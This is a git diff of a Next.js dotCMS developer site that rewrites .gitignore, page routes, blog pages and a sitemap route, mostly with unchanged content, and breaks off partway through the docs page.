diff --git a/.gitignore b/.gitignore
index d014e4a..8188564 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,36 +1,36 @@
-# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
-
-# dependencies
-/node_modules
-/.pnp
-.pnp.js
-
-# testing
-/coverage
-
-# next.js
-/.next/
-/out/
-/.vscode/
-# production
-/build
-
-# misc
-.DS_Store
-*.pem
-
-# debug
-npm-debug.log*
-yarn-debug.log*
-yarn-error.log*
-
-# local env files
-.env*.local
-.env*
-
-# vercel
-.vercel
-
-# typescript
-*.tsbuildinfo
-next-env.d.ts
+# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
+
+# dependencies
+/node_modules
+/.pnp
+.pnp.js
+
+# testing
+/coverage
+
+# next.js
+/.next/
+/out/
+/.vscode/
+# production
+/build
+
+# misc
+.DS_Store
+*.pem
+
+# debug
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+
+# local env files
+.env*.local
+
+# vercel
+.vercel
+
+# typescript
+*.tsbuildinfo
+next-env.d.ts
+config.bat
diff --git a/app/[[...slug]]/page.js b/app/[[...slug]]/page.js
index 4a4c306..09370e8 100644
--- a/app/[[...slug]]/page.js
+++ b/app/[[...slug]]/page.js
@@ -1,114 +1,114 @@
-import { PageAsset } from "@/components/page-asset";
-import { ErrorPage } from "@/components/error";
-import { getDotCMSPage } from "@/util/getDotCMSPage";
-import { getNavSections } from "@/services/docs/getNavSections";
-import { getSideNav } from "@/services/docs/getSideNav";
-import { BlockPageAsset } from "@/components/page-asset-with-content-block";
-/**
- * Generate metadata
- *
- * @export
- * @param {*} { params, searchParams }
- * @return {*}
- */
-export async function generateMetadata({ params }) {
- const finalParams = await params;
- const path = finalParams?.slug?.join("/") || "/";
-
- try {
- const pageContent = await getDotCMSPage(path);
- if (!pageContent) {
- return {
- title: "not found",
- };
- }
-
- const { pageAsset } = pageContent;
- const page = pageAsset.page;
-
- const title = page?.friendlyName || page?.title;
-
- const description = page?.description || page?.teaser || page?.seoDescription || "dotCMS Dev Site, Documentation and Resources. Learn how to build with dotCMS";
- const hostname = "https://dev.dotcms.com";
- const keywords = page?.tags ? page?.tags.join(", ") : "dotcms, dotcms documentation, learn dotcms, dotcms api, dotcms dev, dotcms developer, dotcms developer documentation, dotcms developer api, dotcms developer documentation, dotcms developer api";
-
- return {
- title: title,
- description: description,
- url: `${hostname}${path}`,
- siteName: 'dotCMS Docs',
- keywords: keywords,
- alternates: {
- canonical: `${hostname}${path}`,
- },
- metadataBase: new URL(hostname),
- images: [{
- url: `${hostname}/dA/4b13a794db115b14ce79d30850712188/1024maxw/80q/}`,
- width: 1200,
- height: 630,
- alt: description || title,
- }],
- locale: 'en_US',
- type: 'article',
- };
- } catch (e) {
- console.error('Error generating metadata:', e?.message || e);
- return {
- title: "not found",
- };
- }
-}
-
-export default async function Page({ params }) {
- const finalParams = await params;
-
- const path = finalParams?.slug?.join("/") || "/";
- const pageContent = await getDotCMSPage(path);
-
-
- if (!pageContent) {
- return ;
- }
-
- const { pageAsset } = pageContent;
- const isBlockPage = pageAsset?.page?.contentType === "BlockPage"
-
- if (isBlockPage) {
- // Fetch navigation data (reuse cached nav sections instead of separate API call)
- const [searchData, navSections] = await Promise.all([
- getSideNav(),
- getNavSections({ path: '/docs/nav', depth: 4, languageId: 1, ttlSeconds: 600 })
- ]);
-
- // Extract the first segment of the URL to find the matching nav section
- const pathParts = pageAsset?.page?.url.split("/").filter(part => part.length > 0);
- const firstSegment = pathParts.length > 0 ? pathParts[0] : "";
-
- // Find the nav section that matches the current page's top-level folder
- // e.g., for "/getting-started/back-end/setup", find the "Getting Started" section
- const matchingSection = navSections?.find(section => {
- // Normalize section title to match URL segment
- // e.g., "Getting Started" -> "getting-started"
- const normalizedTitle = section.title.toLowerCase().replace(/\s+/g, '-');
- return normalizedTitle === firstSegment;
- });
-
- // If no matching section found, fall back to empty array
- const navItems = matchingSection?.items || [];
-
- return (
-
- );
- }
-
- return (
-
- );
-}
+import { PageAsset } from "@/components/page-asset";
+import { ErrorPage } from "@/components/error";
+import { getDotCMSPage } from "@/util/getDotCMSPage";
+import { getNavSections } from "@/services/docs/getNavSections";
+import { getSideNav } from "@/services/docs/getSideNav";
+import { BlockPageAsset } from "@/components/page-asset-with-content-block";
+/**
+ * Generate metadata
+ *
+ * @export
+ * @param {*} { params, searchParams }
+ * @return {*}
+ */
+export async function generateMetadata({ params }) {
+ const finalParams = await params;
+ const path = finalParams?.slug?.join("/") || "/";
+
+ try {
+ const pageContent = await getDotCMSPage(path);
+ if (!pageContent) {
+ return {
+ title: "not found",
+ };
+ }
+
+ const { pageAsset } = pageContent;
+ const page = pageAsset.page;
+
+ const title = page?.friendlyName || page?.title;
+
+ const description = page?.description || page?.teaser || page?.seoDescription || "dotCMS Dev Site, Documentation and Resources. Learn how to build with dotCMS";
+ const hostname = "https://dev.dotcms.com";
+ const keywords = page?.tags ? page?.tags.join(", ") : "dotcms, dotcms documentation, learn dotcms, dotcms api, dotcms dev, dotcms developer, dotcms developer documentation, dotcms developer api, dotcms developer documentation, dotcms developer api";
+
+ return {
+ title: title,
+ description: description,
+ url: `${hostname}${path}`,
+ siteName: 'dotCMS Docs',
+ keywords: keywords,
+ alternates: {
+ canonical: `${hostname}${path}`,
+ },
+ metadataBase: new URL(hostname),
+ images: [{
+ url: `${hostname}/dA/4b13a794db115b14ce79d30850712188/1024maxw/80q/}`,
+ width: 1200,
+ height: 630,
+ alt: description || title,
+ }],
+ locale: 'en_US',
+ type: 'article',
+ };
+ } catch (e) {
+ console.error('Error generating metadata:', e?.message || e);
+ return {
+ title: "not found",
+ };
+ }
+}
+
+export default async function Page({ params }) {
+ const finalParams = await params;
+
+ const path = finalParams?.slug?.join("/") || "/";
+ const pageContent = await getDotCMSPage(path);
+
+
+ if (!pageContent) {
+ return ;
+ }
+
+ const { pageAsset } = pageContent;
+ const isBlockPage = pageAsset?.page?.contentType === "BlockPage"
+
+ if (isBlockPage) {
+ // Fetch navigation data (reuse cached nav sections instead of separate API call)
+ const [searchData, navSections] = await Promise.all([
+ getSideNav(),
+ getNavSections({ path: '/docs/nav', depth: 4, languageId: 1, ttlSeconds: 600 })
+ ]);
+
+ // Extract the first segment of the URL to find the matching nav section
+ const pathParts = pageAsset?.page?.url.split("/").filter(part => part.length > 0);
+ const firstSegment = pathParts.length > 0 ? pathParts[0] : "";
+
+ // Find the nav section that matches the current page's top-level folder
+ // e.g., for "/getting-started/back-end/setup", find the "Getting Started" section
+ const matchingSection = navSections?.find(section => {
+ // Normalize section title to match URL segment
+ // e.g., "Getting Started" -> "getting-started"
+ const normalizedTitle = section.title.toLowerCase().replace(/\s+/g, '-');
+ return normalizedTitle === firstSegment;
+ });
+
+ // If no matching section found, fall back to empty array
+ const navItems = matchingSection?.items || [];
+
+ return (
+
+ );
+ }
+
+ return (
+
+ );
+}
diff --git a/app/api/sitemap/route.js b/app/api/sitemap/route.js
index 9949382..be61585 100644
--- a/app/api/sitemap/route.js
+++ b/app/api/sitemap/route.js
@@ -1,190 +1,190 @@
-import { getSideNav } from "@/services/docs/getSideNav";
-import { Config } from "@/util/config";
-import { getBlogListing } from "@/services/blog/getBlogListing";
-import { getDevResources } from "@/services/learning/getDevResources";
-const extractHrefs = (obj) => {
- const baseURL = `${Config.CDNHost}/docs/`;
- let hrefs = [];
-
- if (obj && typeof obj === "object") {
- if (obj?.urlTitle) {
- const href = `${baseURL}${obj?.urlTitle}`;
- hrefs.push({ href, modDate: obj?.modDate });
- }
-
- for (const key in obj) {
- if (obj.hasOwnProperty(key)) {
- const value = obj[key];
- if (Array.isArray(value)) {
- for (const item of value) {
- hrefs = hrefs.concat(extractHrefs(item));
- }
- } else if (typeof value === "object") {
- hrefs = hrefs.concat(extractHrefs(value));
- }
- }
- }
- }
-
- return hrefs;
-};
-
-const getBlogs = async () => {
- var finalBlogs = [];
-
- const { blogs, pagination } = await getBlogListing({
- tagFilter: "",
- page: 1,
- pageSize: 50,
- });
- blogs.map((blog) => {
- finalBlogs.push({
- href: `${Config.CDNHost}/blog/${blog.urlTitle}`,
- modDate: blog.modDate,
- });
- });
- for (var j = 2; j <= pagination.totalPages; j++) {
- const { blogs } = await getBlogListing({
- tagFilter: "",
- page: j,
- pageSize: 50,
- });
- if (blogs.length == 0) {
- break;
- }
- blogs.map((blog) => {
- finalBlogs.push({
- href: `${Config.CDNHost}/blog/${blog.urlTitle}`,
- modDate: blog.modDate,
- });
- });
- }
-
- return finalBlogs;
-};
-
-const loadDevResources = async () => {
- var finalDevResources = [];
-
- const { devResources, pagination } = await getDevResources({
- page: 1,
- pageSize: 50,
- });
- devResources.map((devResource) => {
- finalDevResources.push({
- href: `${Config.CDNHost}/learning/${devResource.slug}`,
- modDate: devResource.modDate,
- });
- });
- for (var j = 2; j <= pagination.totalPages; j++) {
- const { devResources } = await getDevResources({
- page: j,
- pageSize: 50,
- });
- if (devResources.length == 0) {
- break;
- }
- devResources.map((blog) => {
- finalDevResources.push({
- href: `${Config.CDNHost}/learning/${blog.slug}`,
- modDate: blog.modDate,
- });
- });
- }
-
- return finalDevResources;
-};
-
-const createSitemap = (links, blogs, devResources) => {
- const urls = (links || [])
- .map(
- ({ href, modDate }) => `
-
- ${href}
- ${
- modDate
- ? new Date(modDate).toISOString().split("T")[0]
- : new Date().toISOString().split("T")[0]
- }
- monthly
- 0.8
-
- `
- )
- .join("");
-
- const blogLinks = (blogs || [])
- .map(
- ({ href, modDate }) => `
-
- ${href}
- ${
- modDate
- ? new Date(modDate).toISOString().split("T")[0]
- : new Date().toISOString().split("T")[0]
- }
- monthly
- 0.8
-
- `
- )
- .join("");
-
- const devResourceLinks = (devResources || [])
- .map(
- ({ href, modDate }) => `
-
- ${href}
- ${
- modDate
- ? new Date(modDate).toISOString().split("T")[0]
- : new Date().toISOString().split("T")[0]
- }
- monthly
- 0.8
-
- `
- )
- .join("");
-
- return `
-
- ${devResourceLinks}
- ${blogLinks}
- ${urls}
-
- `;
-};
-
-export async function GET() {
- try {
-
- console.log("Config.CDNHost", Config.CDNHost);
- const docs = await getSideNav();
- const blogs = await getBlogs();
- const devResources = await loadDevResources();
- if (!docs || typeof docs !== "object") {
- throw new Error("Invalid docs format returned from getCoreNavLeft()");
- }
-
- const links = extractHrefs(docs);
- const sitemap = createSitemap(links, blogs, devResources);
-
- return new Response(sitemap, {
- headers: {
- "Content-Type": "application/xml",
- },
- });
- } catch (error) {
- console.error("Error generating sitemap:", error);
- return new Response(
- JSON.stringify({ message: "Failed to generate sitemap", error }),
- {
- status: 500,
- headers: {
- "Content-Type": "application/json",
- },
- }
- );
- }
-}
+import { getSideNav } from "@/services/docs/getSideNav";
+import { Config } from "@/util/config";
+import { getBlogListing } from "@/services/blog/getBlogListing";
+import { getDevResources } from "@/services/learning/getDevResources";
+const extractHrefs = (obj) => {
+ const baseURL = `${Config.CDNHost}/docs/`;
+ let hrefs = [];
+
+ if (obj && typeof obj === "object") {
+ if (obj?.urlTitle) {
+ const href = `${baseURL}${obj?.urlTitle}`;
+ hrefs.push({ href, modDate: obj?.modDate });
+ }
+
+ for (const key in obj) {
+ if (obj.hasOwnProperty(key)) {
+ const value = obj[key];
+ if (Array.isArray(value)) {
+ for (const item of value) {
+ hrefs = hrefs.concat(extractHrefs(item));
+ }
+ } else if (typeof value === "object") {
+ hrefs = hrefs.concat(extractHrefs(value));
+ }
+ }
+ }
+ }
+
+ return hrefs;
+};
+
+const getBlogs = async () => {
+ var finalBlogs = [];
+
+ const { blogs, pagination } = await getBlogListing({
+ tagFilter: "",
+ page: 1,
+ pageSize: 50,
+ });
+ blogs.map((blog) => {
+ finalBlogs.push({
+ href: `${Config.CDNHost}/blog/${blog.urlTitle}`,
+ modDate: blog.modDate,
+ });
+ });
+ for (var j = 2; j <= pagination.totalPages; j++) {
+ const { blogs } = await getBlogListing({
+ tagFilter: "",
+ page: j,
+ pageSize: 50,
+ });
+ if (blogs.length == 0) {
+ break;
+ }
+ blogs.map((blog) => {
+ finalBlogs.push({
+ href: `${Config.CDNHost}/blog/${blog.urlTitle}`,
+ modDate: blog.modDate,
+ });
+ });
+ }
+
+ return finalBlogs;
+};
+
+const loadDevResources = async () => {
+ var finalDevResources = [];
+
+ const { devResources, pagination } = await getDevResources({
+ page: 1,
+ pageSize: 50,
+ });
+ devResources.map((devResource) => {
+ finalDevResources.push({
+ href: `${Config.CDNHost}/learning/${devResource.slug}`,
+ modDate: devResource.modDate,
+ });
+ });
+ for (var j = 2; j <= pagination.totalPages; j++) {
+ const { devResources } = await getDevResources({
+ page: j,
+ pageSize: 50,
+ });
+ if (devResources.length == 0) {
+ break;
+ }
+ devResources.map((blog) => {
+ finalDevResources.push({
+ href: `${Config.CDNHost}/learning/${blog.slug}`,
+ modDate: blog.modDate,
+ });
+ });
+ }
+
+ return finalDevResources;
+};
+
+const createSitemap = (links, blogs, devResources) => {
+ const urls = (links || [])
+ .map(
+ ({ href, modDate }) => `
+
+ ${href}
+ ${
+ modDate
+ ? new Date(modDate).toISOString().split("T")[0]
+ : new Date().toISOString().split("T")[0]
+ }
+ monthly
+ 0.8
+
+ `
+ )
+ .join("");
+
+ const blogLinks = (blogs || [])
+ .map(
+ ({ href, modDate }) => `
+
+ ${href}
+ ${
+ modDate
+ ? new Date(modDate).toISOString().split("T")[0]
+ : new Date().toISOString().split("T")[0]
+ }
+ monthly
+ 0.8
+
+ `
+ )
+ .join("");
+
+ const devResourceLinks = (devResources || [])
+ .map(
+ ({ href, modDate }) => `
+
+ ${href}
+ ${
+ modDate
+ ? new Date(modDate).toISOString().split("T")[0]
+ : new Date().toISOString().split("T")[0]
+ }
+ monthly
+ 0.8
+
+ `
+ )
+ .join("");
+
+ return `
+
+ ${devResourceLinks}
+ ${blogLinks}
+ ${urls}
+
+ `;
+};
+
+export async function GET() {
+ try {
+
+ console.log("Config.CDNHost", Config.CDNHost);
+ const docs = await getSideNav();
+ const blogs = await getBlogs();
+ const devResources = await loadDevResources();
+ if (!docs || typeof docs !== "object") {
+ throw new Error("Invalid docs format returned from getCoreNavLeft()");
+ }
+
+ const links = extractHrefs(docs);
+ const sitemap = createSitemap(links, blogs, devResources);
+
+ return new Response(sitemap, {
+ headers: {
+ "Content-Type": "application/xml",
+ },
+ });
+ } catch (error) {
+ console.error("Error generating sitemap:", error);
+ return new Response(
+ JSON.stringify({ message: "Failed to generate sitemap", error }),
+ {
+ status: 500,
+ headers: {
+ "Content-Type": "application/json",
+ },
+ }
+ );
+ }
+}
diff --git a/app/blog/[slug]/page.js b/app/blog/[slug]/page.js
index 1f66302..397adec 100644
--- a/app/blog/[slug]/page.js
+++ b/app/blog/[slug]/page.js
@@ -1,180 +1,180 @@
-import { notFound } from "next/navigation";
-import Script from "next/script";
-import Header from "@/components/header/header";
-import Footer from "@/components/footer";
-import { getBlogDetailQuery } from "@/services/blog/getBlogDetail";
-import BlogDetailComponent from "@/components/blogs/blog-detail";
-import { ErrorPage } from "@/components/error";
-import { extractAssetId } from "@/util/utils";
-
-
-export async function generateMetadata({ params }) {
- const finalParams = await params;
- const slug = finalParams.slug
-
- if(!slug) {
- return notFound();
- }
- const post = await getBlogDetailQuery(slug);
-
- if (!post) {
- return {
- title: 'Blog Post Not Found',
- };
- }
-
- // Check if the post's tags include 'dot:meta-no-index'
- const tags = post.tags || [];
- const shouldNoIndex = Array.isArray(tags)
- ? tags.includes('dot:meta-no-index')
- : typeof tags === 'string' && tags.includes('dot:meta-no-index');
-
- const blogHostName = post.host?.hostName || 'dev.dotcms.com';
-
- const hostname = (blogHostName === 'dotcms.com')
- ? 'https://www.dotcms.com'
- : `https://dev.dotcms.com`
-
-
- const imageUrl = post.image?.fileAsset?.idPath
- ? `${hostname}/dA/${extractAssetId(post.image.fileAsset.idPath)}/70q/1000maxw/${post.inode}`
- : `${hostname}/images/default-blog-image.jpg`;
-
- const metadata = {
- alternates: {
- canonical: `${hostname}/blog/${post.urlTitle}`,
- },
- title: post.title,
- description: post.teaser || `Read ${post.title} on dotCMS Developer Blog`,
- canonical: `${hostname}/blog/${post.urlTitle}`,
- metadataBase: new URL(hostname),
-
- // OpenGraph
- openGraph: {
- title: post.title,
- description: post.teaser,
- url: `${hostname}/blog/${post.urlTitle}`,
- siteName: 'dotCMS Developer Blog',
- images: [{
- url: imageUrl,
- width: 1200,
- height: 630,
- alt: post.image?.description || post.title,
- }],
- locale: 'en_US',
- type: 'article',
- },
-
- // Twitter
- twitter: {
- card: 'summary_large_image',
- title: post.title,
- description: post.teaser,
- images: [imageUrl],
- creator: '@dotcms',
- site: '@dotcms',
- },
-
- // Article specific
- article: {
- publishedTime: post.publishDate,
- modifiedTime: post.modDate,
- authors: post.author ? [`${post.author.firstName} ${post.author.lastName}`] : ['dotCMS Team'],
- tags: post.tags,
- },
-
- // Other meta tags
- keywords: post.tags?.join(', '),
- robots: shouldNoIndex
- ? 'noindex, nofollow'
- : {
- index: true,
- follow: true,
- },
- };
-
- return metadata;
-}
-
-
-
-// JSON-LD component for blog posts
-function JsonLd({ post, hostname }) {
- const authorName = post.author
- ? `${post.author.firstName} ${post.author.lastName}`
- : 'dotCMS Team';
-
- const imageUrl = post.image?.fileAsset?.idPath
- ? `${hostname}/dA/${extractAssetId(post.image.fileAsset.idPath)}/70q/1000maxw/${post.inode}`
- : `${hostname}/images/default-blog-image.jpg`;
-
- const jsonLd = {
- "@context": "https://schema.org",
- "@type": "BlogPosting",
- "headline": post.title,
- "description": post.teaser,
- "image": imageUrl,
- "datePublished": post.publishDate,
- "dateModified": post.modDate,
- "author": {
- "@type": "Person",
- "name": authorName
- },
- "publisher": {
- "@type": "Organization",
- "name": "dotCMS",
- "logo": {
- "@type": "ImageObject",
- "url": `${hostname}/images/dotcms-logo.png`
- }
- },
- "mainEntityOfPage": {
- "@type": "WebPage",
- "@id": `${hostname}/blog/${post.urlTitle}`
- },
- "keywords": post.tags?.join(', '),
- "articleBody": post.body
- };
-
- return (
-
- );
-}
-
-export default async function BlogPage({ params }) {
- const finalParams = await params;
- const slug = finalParams.slug
-
- if(!slug) {
- return notFound();
- }
- const post = await getBlogDetailQuery(slug);
-
- if(!post || !post.identifier) {
- return ;
- }
-
- const blogHostName = post.host?.hostName || 'dev.dotcms.com';
- const hostname = (blogHostName === 'dotcms.com')
- ? 'https://www.dotcms.com'
- : 'https://dev.dotcms.com';
-
- return (
-
- )
-}
+import { notFound } from "next/navigation";
+import Script from "next/script";
+import Header from "@/components/header/header";
+import Footer from "@/components/footer";
+import { getBlogDetailQuery } from "@/services/blog/getBlogDetail";
+import BlogDetailComponent from "@/components/blogs/blog-detail";
+import { ErrorPage } from "@/components/error";
+import { extractAssetId } from "@/util/utils";
+
+
+export async function generateMetadata({ params }) {
+ const finalParams = await params;
+ const slug = finalParams.slug
+
+ if(!slug) {
+ return notFound();
+ }
+ const post = await getBlogDetailQuery(slug);
+
+ if (!post) {
+ return {
+ title: 'Blog Post Not Found',
+ };
+ }
+
+ // Check if the post's tags include 'dot:meta-no-index'
+ const tags = post.tags || [];
+ const shouldNoIndex = Array.isArray(tags)
+ ? tags.includes('dot:meta-no-index')
+ : typeof tags === 'string' && tags.includes('dot:meta-no-index');
+
+ const blogHostName = post.host?.hostName || 'dev.dotcms.com';
+
+ const hostname = (blogHostName === 'dotcms.com')
+ ? 'https://www.dotcms.com'
+ : `https://dev.dotcms.com`
+
+
+ const imageUrl = post.image?.fileAsset?.idPath
+ ? `${hostname}/dA/${extractAssetId(post.image.fileAsset.idPath)}/70q/1000maxw/${post.inode}`
+ : `${hostname}/images/default-blog-image.jpg`;
+
+ const metadata = {
+ alternates: {
+ canonical: `${hostname}/blog/${post.urlTitle}`,
+ },
+ title: post.title,
+ description: post.teaser || `Read ${post.title} on dotCMS Developer Blog`,
+ canonical: `${hostname}/blog/${post.urlTitle}`,
+ metadataBase: new URL(hostname),
+
+ // OpenGraph
+ openGraph: {
+ title: post.title,
+ description: post.teaser,
+ url: `${hostname}/blog/${post.urlTitle}`,
+ siteName: 'dotCMS Developer Blog',
+ images: [{
+ url: imageUrl,
+ width: 1200,
+ height: 630,
+ alt: post.image?.description || post.title,
+ }],
+ locale: 'en_US',
+ type: 'article',
+ },
+
+ // Twitter
+ twitter: {
+ card: 'summary_large_image',
+ title: post.title,
+ description: post.teaser,
+ images: [imageUrl],
+ creator: '@dotcms',
+ site: '@dotcms',
+ },
+
+ // Article specific
+ article: {
+ publishedTime: post.publishDate,
+ modifiedTime: post.modDate,
+ authors: post.author ? [`${post.author.firstName} ${post.author.lastName}`] : ['dotCMS Team'],
+ tags: post.tags,
+ },
+
+ // Other meta tags
+ keywords: post.tags?.join(', '),
+ robots: shouldNoIndex
+ ? 'noindex, nofollow'
+ : {
+ index: true,
+ follow: true,
+ },
+ };
+
+ return metadata;
+}
+
+
+
+// JSON-LD component for blog posts
+function JsonLd({ post, hostname }) {
+ const authorName = post.author
+ ? `${post.author.firstName} ${post.author.lastName}`
+ : 'dotCMS Team';
+
+ const imageUrl = post.image?.fileAsset?.idPath
+ ? `${hostname}/dA/${extractAssetId(post.image.fileAsset.idPath)}/70q/1000maxw/${post.inode}`
+ : `${hostname}/images/default-blog-image.jpg`;
+
+ const jsonLd = {
+ "@context": "https://schema.org",
+ "@type": "BlogPosting",
+ "headline": post.title,
+ "description": post.teaser,
+ "image": imageUrl,
+ "datePublished": post.publishDate,
+ "dateModified": post.modDate,
+ "author": {
+ "@type": "Person",
+ "name": authorName
+ },
+ "publisher": {
+ "@type": "Organization",
+ "name": "dotCMS",
+ "logo": {
+ "@type": "ImageObject",
+ "url": `${hostname}/images/dotcms-logo.png`
+ }
+ },
+ "mainEntityOfPage": {
+ "@type": "WebPage",
+ "@id": `${hostname}/blog/${post.urlTitle}`
+ },
+ "keywords": post.tags?.join(', '),
+ "articleBody": post.body
+ };
+
+ return (
+
+ );
+}
+
+export default async function BlogPage({ params }) {
+ const finalParams = await params;
+ const slug = finalParams.slug
+
+ if(!slug) {
+ return notFound();
+ }
+ const post = await getBlogDetailQuery(slug);
+
+ if(!post || !post.identifier) {
+ return ;
+ }
+
+ const blogHostName = post.host?.hostName || 'dev.dotcms.com';
+ const hostname = (blogHostName === 'dotcms.com')
+ ? 'https://www.dotcms.com'
+ : 'https://dev.dotcms.com';
+
+ return (
+
+ )
+}
diff --git a/app/blog/page.js b/app/blog/page.js
index fb38437..31b825f 100644
--- a/app/blog/page.js
+++ b/app/blog/page.js
@@ -1,92 +1,92 @@
-import { notFound } from "next/navigation";
-import { getDotCMSPage } from "@/util/getDotCMSPage";
-import BlogListing from '@/components/blogs/blog-listing';
-import Header from "@/components/header/header";
-import Footer from "@/components/footer";
-import { getBlogListing } from "@/services/blog/getBlogListing";
-
-const getPath = (params) => {
- const defaultPath = "index";
- const path = "/blog/" + (params?.slug?.join("/") || defaultPath);
-
- return path;
-};
-
-async function fetchPage(path) {
- const finalPath = await path;
- const { pageAsset } = await getDotCMSPage(finalPath);
-
- if (!pageAsset) {
- notFound();
- }
-
- return pageAsset;
-}
-
-/**
- * Generate metadata
- *
- * @export
- * @param {*} { params }
- * @return {*}
- */
-export async function generateMetadata({ params }) {
- const finalParams = await params;
- const path = getPath(finalParams);
- const pageAsset = await fetchPage(path);
-
- if (!pageAsset?.urlContentMap?.inode) {
- return {
- title: "Blog | dotCMS Documentation",
- description: "dotCMS Developer Blog",
- keywords: "dotcms developers Blog",
- };
- }
-
- const hostname = "https://dev.dotcms.com";
- const title = pageAsset.urlContentMap._map.navTitle || pageAsset.urlContentMap._map.title || "Blog";
- const description = pageAsset.urlContentMap._map.seoDescription || "dotCMS Developer Blog";
- const keywords = pageAsset.urlContentMap._map.tag || "dotcms developers Blog";
-
- return {
- title: `${title} | dotCMS Documentation`,
- description: description,
- keywords: keywords,
- openGraph: {
- title: `${title} | dotCMS Documentation`,
- description: description,
- keywords: keywords,
- url: `${hostname}${path}`,
- siteName: 'dotCMS Docs',
- },
- alternates: {
- canonical: `${hostname}${path}`,
- },
- metadataBase: new URL(hostname),
- };
-}
-
-
-
-export default async function BlogPage({ searchParams, params }) {
- const finalParams = await searchParams;
-
- const tagFilter = finalParams["tagFilter"];
- const page = parseInt(finalParams["page"]) || 1;
-
- const { blogs, pagination } = await getBlogListing({ tagFilter: tagFilter, page: page, pageSize: 9 });
-
- return (
-
-
-
-
-
-
-
- );
-}
-
-
-
-
+import { notFound } from "next/navigation";
+import { getDotCMSPage } from "@/util/getDotCMSPage";
+import BlogListing from '@/components/blogs/blog-listing';
+import Header from "@/components/header/header";
+import Footer from "@/components/footer";
+import { getBlogListing } from "@/services/blog/getBlogListing";
+
+const getPath = (params) => {
+ const defaultPath = "index";
+ const path = "/blog/" + (params?.slug?.join("/") || defaultPath);
+
+ return path;
+};
+
+async function fetchPage(path) {
+ const finalPath = await path;
+ const { pageAsset } = await getDotCMSPage(finalPath);
+
+ if (!pageAsset) {
+ notFound();
+ }
+
+ return pageAsset;
+}
+
+/**
+ * Generate metadata
+ *
+ * @export
+ * @param {*} { params }
+ * @return {*}
+ */
+export async function generateMetadata({ params }) {
+ const finalParams = await params;
+ const path = getPath(finalParams);
+ const pageAsset = await fetchPage(path);
+
+ if (!pageAsset?.urlContentMap?.inode) {
+ return {
+ title: "Blog | dotCMS Documentation",
+ description: "dotCMS Developer Blog",
+ keywords: "dotcms developers Blog",
+ };
+ }
+
+ const hostname = "https://dev.dotcms.com";
+ const title = pageAsset.urlContentMap._map.navTitle || pageAsset.urlContentMap._map.title || "Blog";
+ const description = pageAsset.urlContentMap._map.seoDescription || "dotCMS Developer Blog";
+ const keywords = pageAsset.urlContentMap._map.tag || "dotcms developers Blog";
+
+ return {
+ title: `${title} | dotCMS Documentation`,
+ description: description,
+ keywords: keywords,
+ openGraph: {
+ title: `${title} | dotCMS Documentation`,
+ description: description,
+ keywords: keywords,
+ url: `${hostname}${path}`,
+ siteName: 'dotCMS Docs',
+ },
+ alternates: {
+ canonical: `${hostname}${path}`,
+ },
+ metadataBase: new URL(hostname),
+ };
+}
+
+
+
+export default async function BlogPage({ searchParams, params }) {
+ const finalParams = await searchParams;
+
+ const tagFilter = finalParams["tagFilter"];
+ const page = parseInt(finalParams["page"]) || 1;
+
+ const { blogs, pagination } = await getBlogListing({ tagFilter: tagFilter, page: page, pageSize: 9 });
+
+ return (
+
+
+
+
+
+
+
+ );
+}
+
+
+
+
diff --git a/app/docs/[slug]/page.js b/app/docs/[slug]/page.js
index 550434c..c2bdbe4 100644
--- a/app/docs/[slug]/page.js
+++ b/app/docs/[slug]/page.js
@@ -1,348 +1,348 @@
-import { notFound } from "next/navigation";
-import { getDotCMSPage } from "@/util/getDotCMSPage";
-import { getSideNav } from "@/services/docs/getSideNav"
-import { isGitHubDoc, getGitHubConfig } from "@/config/github-docs";
-import { getDocsContentWithGitHub } from "@/services/docs/getGitHubContent";
-import Header from "@/components/header/header";
-import Footer from "@/components/footer";
-import Documentation from "@/components/documentation/Documentation";
-import GitHubDocumentation from "@/components/documentation/GitHubDocumentation";
-import ChangeLogList from "@/components/changelogs/ChangeLogList";
-import RedesignedNavTree from "@/components/navigation/RedesignedNavTree";
-import { getNavSections } from "@/services/docs/getNavSections";
-import CurrentReleases from "@/components/releases/CurrentReleases";
-import AllReleases from "@/components/releases/AllReleases";
-import AllSecurityIssues from "@/components/security-issues/AllSecurityIssues";
-import RestApiPlayground from "@/components/playgrounds/RestApiPlayground/RestApiPlayground";
-import SwaggerUIComponent from "@/components/playgrounds/SwaggerUIComponent/SwaggerUIComponent";
-import Script from "next/script";
-import { getSecurityIssues } from "@/services/docs/getSecurityIssues/getSecurityIssues";
-import Deprecations from "@/components/deprecations/Deprecations";
-import getDeprecations from "@/services/docs/getDeprecations/getDeprecations";
-
-/**
- * Process slug consistently across all functions
- * @param {string|string[]|undefined} slug - The slug from params
- * @returns {string} - The processed slug
- */
-function processSlug(slug) {
- // Handle slug as array (for nested paths) or string, and ensure consistent processing
- const slugArray = Array.isArray(slug) ? slug : (slug ? [slug] : []);
- const processedSlug = slugArray.filter(Boolean).join('/').toLowerCase();
- // Convert 'table-of-contents' to empty string for consistency with GitHub docs check
- return processedSlug === 'table-of-contents' ? '' : processedSlug;
-}
-
-async function fetchPageData(path, slug) {
- const finalPath = await path;
- const pageData = await getDotCMSPage(finalPath);
-
- if (!pageData || !pageData.pageAsset) {
- notFound();
- }
-
- const { pageAsset } = pageData;
-
- const sideNav = await getSideNav();
-
- // Check if this is a GitHub docs page
- if (isGitHubDoc(slug)) {
- const githubConfig = getGitHubConfig(slug);
-
- // Only proceed if githubConfig exists and pageAsset structure is valid
- if (githubConfig && pageAsset?.urlContentMap?._map) {
- // Fetch GitHub content with fallback to dotCMS
- const contentResult = await getDocsContentWithGitHub(
- slug,
- githubConfig,
- () => pageAsset?.urlContentMap?._map?.documentation || ''
- );
-
- // Replace the documentation content with GitHub content
- if (contentResult.source === 'github') {
- // Ensure urlContentMap and _map exist before mutation
- if (!pageAsset.urlContentMap) {
- pageAsset.urlContentMap = {};
- }
- if (!pageAsset.urlContentMap._map) {
- pageAsset.urlContentMap._map = {};
- }
-
- pageAsset.urlContentMap._map.documentation = contentResult.content;
- pageAsset.urlContentMap._map.githubSource = true;
- pageAsset.urlContentMap._map.githubConfig = contentResult.config;
- }
- }
- }
-
- return { pageAsset, sideNav, currentPath: finalPath };
-}
-
-/**
- * Generate metadata
- *
- * @export
- * @param {*} { params, searchParams }
- * @return {*}
- */
-export async function generateMetadata({ params, searchParams }) {
- const finalParams = await params;
- const finalSearchParams = await searchParams;
- const slug = processSlug(finalParams.slug);
- const path = "/docs/" + (slug || "table-of-contents");
